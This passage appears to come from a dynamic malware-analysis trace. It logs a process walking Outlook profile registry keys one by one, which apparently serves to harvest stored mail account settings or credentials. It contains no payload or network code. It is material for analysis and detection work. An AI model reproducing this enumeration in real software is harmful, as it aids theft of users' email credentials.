returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604" [0054.966] LocalFree (hMem=0x9410768) returned 0x0 [0054.966] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\3517490d76624c419a828607e2a54604", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.966] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.966] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.966] LocalFree (hMem=0x9410850) returned 0x0 [0054.966] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x3, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="4c81aa8e3cec3747ac89336bb7dabb3d", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.966] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.966] lstrlenA (lpString="\\") returned 1 [0054.966] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.966] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.966] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.966] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.966] lstrlenA (lpString="4c81aa8e3cec3747ac89336bb7dabb3d") returned 32 [0054.966] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.966] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.966] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="4c81aa8e3cec3747ac89336bb7dabb3d" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d" [0054.966] LocalFree (hMem=0x74ae40) returned 0x0 [0054.966] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d") returned 88 [0054.966] lstrlenA (lpString="") returned 0 [0054.966] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.966] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d" [0054.966] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d" [0054.967] LocalFree (hMem=0x9410850) returned 0x0 [0054.967] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\4c81aa8e3cec3747ac89336bb7dabb3d", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.967] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.967] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.967] LocalFree (hMem=0x9410768) returned 0x0 [0054.967] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x4, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="660d890c36162745aa4a6e18387402e2", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.967] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.967] lstrlenA (lpString="\\") returned 1 [0054.967] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.967] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.967] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.967] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.967] lstrlenA (lpString="660d890c36162745aa4a6e18387402e2") returned 32 [0054.967] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.967] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.967] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="660d890c36162745aa4a6e18387402e2" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2" [0054.967] LocalFree (hMem=0x74ae40) returned 0x0 [0054.967] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2") returned 88 [0054.967] lstrlenA (lpString="") returned 0 [0054.967] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.967] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2" [0054.967] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2" [0054.967] LocalFree (hMem=0x9410768) returned 0x0 [0054.967] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\660d890c36162745aa4a6e18387402e2", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.967] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.967] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.967] LocalFree (hMem=0x9410850) returned 0x0 [0054.967] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x5, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8503020000000000c000000000000046", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.967] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.967] lstrlenA (lpString="\\") returned 1 [0054.967] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.967] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.967] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.967] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.967] lstrlenA (lpString="8503020000000000c000000000000046") returned 32 [0054.967] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.967] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.967] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="8503020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046" [0054.967] LocalFree (hMem=0x74ae40) returned 0x0 [0054.967] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned 88 [0054.967] lstrlenA (lpString="") returned 0 [0054.967] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.967] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046" [0054.967] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046" [0054.967] LocalFree (hMem=0x9410850) returned 0x0 [0054.967] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8503020000000000c000000000000046", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.968] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.968] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.968] LocalFree (hMem=0x9410768) returned 0x0 [0054.968] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x6, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8ad20125b268ee4082a7beb234d21c3e", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.968] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.968] lstrlenA (lpString="\\") returned 1 [0054.968] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.968] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.968] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.968] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.968] lstrlenA (lpString="8ad20125b268ee4082a7beb234d21c3e") returned 32 [0054.968] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.968] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.968] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="8ad20125b268ee4082a7beb234d21c3e" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e" [0054.968] LocalFree (hMem=0x74ae40) returned 0x0 [0054.968] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e") returned 88 [0054.968] lstrlenA (lpString="") returned 0 [0054.968] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.968] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e" [0054.968] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e" [0054.968] LocalFree (hMem=0x9410768) returned 0x0 [0054.968] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\8ad20125b268ee4082a7beb234d21c3e", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.968] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.968] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.968] LocalFree (hMem=0x9410850) returned 0x0 [0054.968] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x7, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="91cde86748046c41886c2f5227df24b7", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.968] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.968] lstrlenA (lpString="\\") returned 1 [0054.968] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.968] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.968] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.968] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.968] lstrlenA (lpString="91cde86748046c41886c2f5227df24b7") returned 32 [0054.968] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.968] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.968] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="91cde86748046c41886c2f5227df24b7" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7" [0054.968] LocalFree (hMem=0x74ae40) returned 0x0 [0054.968] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7") returned 88 [0054.968] lstrlenA (lpString="") returned 0 [0054.968] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.968] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7" [0054.968] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7" [0054.968] LocalFree (hMem=0x9410850) returned 0x0 [0054.968] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\91cde86748046c41886c2f5227df24b7", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.969] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.969] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.969] LocalFree (hMem=0x9410768) returned 0x0 [0054.969] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x8, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9207f3e0a3b11019908b08002b2a56c2", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.969] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.969] lstrlenA (lpString="\\") returned 1 [0054.969] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.969] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.969] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.969] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.969] lstrlenA (lpString="9207f3e0a3b11019908b08002b2a56c2") returned 32 [0054.969] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.969] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.969] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="9207f3e0a3b11019908b08002b2a56c2" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0054.969] LocalFree (hMem=0x74ae40) returned 0x0 [0054.969] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned 88 [0054.969] lstrlenA (lpString="") returned 0 [0054.969] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.969] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0054.969] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2" [0054.969] LocalFree (hMem=0x9410768) returned 0x0 [0054.969] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9207f3e0a3b11019908b08002b2a56c2", phkResult=0xef52c | out: phkResult=0xef52c*=0x3e0) returned 0x0 [0054.969] RegEnumKeyExA (in: hKey=0x3e0, dwIndex=0x0, lpName=0xeed24, lpcchName=0xef524, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="\x02", lpcchName=0xef524, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0054.969] RegCloseKey (hKey=0x3e0) returned 0x0 [0054.969] LocalFree (hMem=0x9410850) returned 0x0 [0054.969] RegEnumKeyExA (in: hKey=0x3e4, dwIndex=0x9, lpName=0xef54c, lpcchName=0xefd4c, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="9375CFF0413111d3B88A00104B2A6676", lpcchName=0xefd4c, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0054.969] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned 55 [0054.969] lstrlenA (lpString="\\") returned 1 [0054.969] LocalAlloc (uFlags=0x40, uBytes=0xb9) returned 0x74ae40 [0054.969] lstrcpyA (in: lpString1=0x74ae40, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook" [0054.969] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook", lpString2="\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.969] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned 56 [0054.969] lstrlenA (lpString="9375CFF0413111d3B88A00104B2A6676") returned 32 [0054.969] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410850 [0054.969] lstrcpyA (in: lpString1=0x9410850, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\" [0054.969] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\", lpString2="9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0054.969] LocalFree (hMem=0x74ae40) returned 0x0 [0054.969] lstrlenA (lpString="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned 88 [0054.969] lstrlenA (lpString="") returned 0 [0054.969] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x9410768 [0054.969] lstrcpyA (in: lpString1=0x9410768, lpString2="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" [0054.969] lstrcatA (in: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676", lpString2="" | out: lpString1="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676") returned="Software\\Microsoft\\Office\\15.0\\Outlook\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676" 